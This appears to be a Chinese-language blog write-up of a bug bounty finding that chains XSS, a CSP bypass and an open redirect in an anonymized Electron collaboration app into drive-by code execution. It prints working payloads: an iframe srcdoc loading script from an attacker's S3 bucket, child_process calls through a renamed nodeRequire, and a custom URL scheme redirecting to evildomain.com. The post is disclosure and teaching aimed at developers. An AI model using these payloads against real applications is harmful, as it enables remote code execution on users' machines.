揭秘Electron应用漏洞:从开放重定向到远程代码执行的技术分析

本文详细分析了Electron应用中开放重定向漏洞如何通过代码审计升级为远程代码执行漏洞的技术细节,包括nodeIntegration配置风险、CSP绕过技巧以及自定义URL协议的安全隐患。

Node的世界 - 我们只是生活在其中

无论好坏,Node.js已在开发者人气榜上迅速攀升。借助React、React Native和Electron等框架,开发者可以轻松构建移动和原生平台的客户端。这些客户端本质上都是围绕单个JavaScript文件的薄包装。

任何现代便利都有代价。在安全方面,将路由和模板逻辑移至客户端使攻击者更容易发现未使用的API端点、未混淆的密钥等。看看我写的Webpack Exploder工具,它能将Webpack打包的React应用反编译回原始源代码。

对于原生桌面应用,Electron应用甚至更容易反编译和调试。攻击者无需费力使用Ghidra/Radare2/Ida等工具翻阅大量汇编代码,而是可以直接使用Electron内置的Chromium DevTools。同时,Electron文档建议将应用打包为asar存档(类似tar格式),只需一行命令即可解包。

有了源代码,攻击者可以寻找客户端漏洞并将其升级为代码执行。不需要复杂的缓冲区溢出 - Electron的nodeIntegration设置让应用距离弹出计算器仅一步XSS之遥。

从白盒测试到漏洞利用

我的旅程始于某天看到Jasmin的推文后,决定自己尝试Electron漏洞挖掘。首先在MacOS上安装目标应用,然后获取源代码:

  1. 浏览到Applications文件夹
  2. 右键点击应用选择"显示包内容"
  3. 进入包含app.asar文件的Contents目录
  4. 运行npx asar extract app.asar source(需安装Node)
  5. 在生成的source目录查看反编译的源代码!

发现危险配置

查看package.json发现配置"main": "app/index.js",表明主进程从index.js启动。快速检查index.js确认大多数BrowserWindow实例的nodeIntegration设置为true。这意味着我可以轻松将攻击者控制的JavaScript升级为原生代码执行。当nodeIntegration为true时,窗口中的JavaScript可以访问原生Node.js函数如require,从而导入危险模块如child_process。这就导致了经典的Electron计算器payload:require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

尝试XSS

现在只需找到XSS向量。该应用是跨平台协作工具(类似Slack或Zoom),因此有大量输入点如文本消息或共享上传。我通过electron . --proxy-server=127.0.0.1:8080从源代码启动应用,用Burp Suite代理网络流量。

我开始在各个输入点测试<b>pwned</b>等HTML payload。不久后我看到了第一个"pwned"!这是个好兆头。但标准的XSS payload如<script>alert()</script><svg onload=alert()>却无法执行。需要开始调试。

绕过CSP

默认情况下,可以通过Ctrl+Shift+I或F12键在Electron应用中访问DevTools。我狂按这些键但毫无反应。看来应用移除了默认快捷键。为解决这个问题,我在源代码中搜索globalShortcut(Electron的键盘快捷键模块)。出现了一个结果:

1
2
3
electron.globalShortcut.register('CommandOrControl+H', () => {
    activateDevMenu();
});

啊哈!应用有自定义快捷键打开秘密菜单。我按下CMD+H,菜单栏出现了开发者菜单。它包含多个有趣选项如Update和Callback,最重要的是有DevTools!打开DevTools后继续测试XSS payload,很快明白了失败原因 - DevTools控制台弹出CSP违规错误消息。应用加载的URL带有以下CSP:

1
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com

CSP排除了unsafe-inline策略,阻止了svg payload等事件处理器。此外,由于我的payload是动态注入到页面的,典型的<script>标签无法执行。幸运的是,CSP有个致命错误:允许通配符URL。特别是https://*.s3.amazonaws.com策略允许我从自己的S3桶包含脚本!为动态注入和执行脚本标签,我使用了从Intigriti复活节XSS挑战中学到的技巧,利用iframe的srcdoc属性:

1
<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>

(已匿名化源URL)

这样,我得到了可爱的alert框!肾上腺素飙升,我将evilscript.js修改为window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}),重新发送XSS payload,然后…什么都没发生。

深入探索

回到DevTools控制台,注意到错误:Uncaught TypeError: window.require is not a function。这很困惑,因为nodeIntegration为true时,require等Node.js函数应包含在window中。回到源代码,发现创建BrowserWindow时的这些代码:

1
2
3
4
5
6
7
8
const appWindow = createWindow('main', {
    width: 1080,
    height: 660,
    webPreferences: {
        nodeIntegration: true,
        preload: path.join(__dirname, 'preload.js')
    },
});

查看preload.js:

1
2
3
4
window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

啊哈!应用在预加载序列中重命名/删除了require。这不是安全混淆尝试,而是Electron文档中的样板代码,目的是让AngularJS等第三方JavaScript库正常工作!如我之前所说,不安全的配置是易受攻击应用的共同主题。通过开启nodeIntegration并将require重新引入window,代码执行成为可能。

再做一次调整(使用window.parent.nodeRequire因为我从iframe执行XSS),发送新payload,计算器弹出了!

路过式代码执行

在查看原生应用前,我在web应用中发现开放重定向:https://collabapplication.com/redirect.jsp?next=//evil.com。但审核人员要求展示更多影响。原生应用的一个功能是能从浏览器中的网页链接打开新窗口。

考虑Slack和Zoom等应用。你是否想过如何在zoom.us上点击链接,就能提示打开Zoom应用?

这是因为这些网站尝试打开已被原生应用注册的自定义URL方案。例如,Zoom向操作系统注册zoommtg自定义URL方案,因此如果你安装了Zoom并尝试在浏览器中打开zoommtg://zoom.us/start?confno=123456789&pwd=xxxx(试试看!),系统会提示打开原生应用。在某些安全性较低的浏览器中,甚至不会提示!

我注意到漏洞应用有类似功能。如果访问网站上的特定页面,会在原生应用中打开协作房间。深入代码发现这个处理器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function isWhitelistedDomain(url) {
    var allowed = ['collabapplication.com'];
    var test = extractDomain(url);

    if( allowed.indexOf(test) > -1 ) {
        return true;
    }

    return false;
};

let launchURL = parseLaunchURL(fullURL)

if isWhitelistedDomain(launchURL) {
    appWindow.loadURL(launchURL)
} else {
    appWindow.loadURL(homeURL)
}

解析这段代码:当通过自定义URL方案(这里是collabapp://collabapplication.com?meetingno=123&pwd=abc)启动原生应用时,URL被传递给启动处理器。启动处理器提取collabapp://后的URL,检查提取URL中的域是否为collabapplication.com,如果通过检查就在应用窗口中加载该URL。

虽然白名单检查代码本身正确,但安全机制极其脆弱。只要collabapplication.com存在一个开放重定向,就能强制原生应用在应用窗口中加载任意URL。结合nodeIntegration漏洞,只需重定向到调用window.parent.nodeRequire(...)的恶意页面就能实现代码执行!

我的最终payload是:collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html。在evil.html中,我只需运行window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){})

现在,如果受害者用户访问任何加载该恶意自定义URL方案的网页,计算器就会弹出!无需浏览器零日漏洞就能实现路过式代码执行。

我们生活的世界

在COVID-19疫情后涌现的新应用中,开发者可能倾向于采用可能导致严重安全漏洞的捷径。这些漏洞无法快速修复,因为它们源于开发周期早期的错误。

回想漏洞应用的nodeIntegration和预加载问题 - 除非修复这些架构和配置问题,否则应用将始终脆弱易受攻击。即使修补了一个XSS或开放重定向,这些漏洞的任何新实例都会导致代码执行。同时,关闭nodeIntegration会破坏整个应用。需要从此点开始重写应用。

像Electron这样的Node.js框架允许开发者使用熟悉的语言和工具快速构建原生应用。但用户环境是截然不同的威胁场景 - 在浏览器中弹出alert与应用中弹出calc完全不同。开发者和用户都应谨慎行事。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计